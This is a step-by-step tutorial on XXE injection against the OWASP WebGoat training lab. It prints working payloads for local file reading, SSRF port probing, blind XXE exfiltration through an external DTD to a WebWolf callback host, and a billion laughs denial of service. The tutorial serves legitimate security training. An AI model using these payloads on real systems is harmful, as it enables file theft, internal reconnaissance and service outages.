XXE tutorial in practice – OWASP Top 10 training
Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:
- Exploit XXE to Read internal files from the vulnerable server.
- Pivot from XXE to SSRF
- Exploit a Blind XXE
- Perform the Billion laughs attack
If you don’t know what XXE is, I prepared an in-depth XXE article about it.
XXE tutorial to read internal files
In this challenge, we have a comment feature which uses XML to carry the user input.
- Login to your WebGoat instance, and go to the third challenge in the XXE menu
- Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
- Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the
secret.txt
file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
]>
<comment>
<text>&xxe;</text>
</comment>
- Upon sending the malicious request above, we can see that the content of the secret file
WebGoat 8.0 rocks... (vrSjRdhjst)
shows up in the comments list.
XXE to SSRF
Because we can use almost arbitrary URIs during an XXE attack, instead of using file://
, we will use http://
to enumerate internal ports running on the server.
- Repeat the previous exercise.
- Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
<!ENTITY xxe SYSTEM "http://localhost:22">
]><comment><text>&xxe;</text></comment>
- Note that we are targeting the port 22, typically used for SSH.
- We receive a reply which clearly states that there is no service running on port 22.
- We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater.
Note that you can also discover neighbor IP addresses, not just ports.
Blind XXE using an external DTD
As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.
- Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab.
- Upload the following file while substituting
webwolf-instance
with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY % out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
%bar;
%out;
- Go to the seventh XXE challenge
- Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
- Use the following XML POST data. Note that
{username}
and{filename}
should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment> <text>no need to inject here</text></comment>
- When you send the request, go to the Incoming Requests tab on your WebWolf instance.
- You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
XXE to DoS
XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.
- Go to the third XXE challenge and repeat the steps we did on our first section.
- Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "laugh">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]><comment><text>&lol9;</text></comment>
- Notice that you get the following error from the server.
- The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content
And as usual, here is your XXE tutorial on Youtube.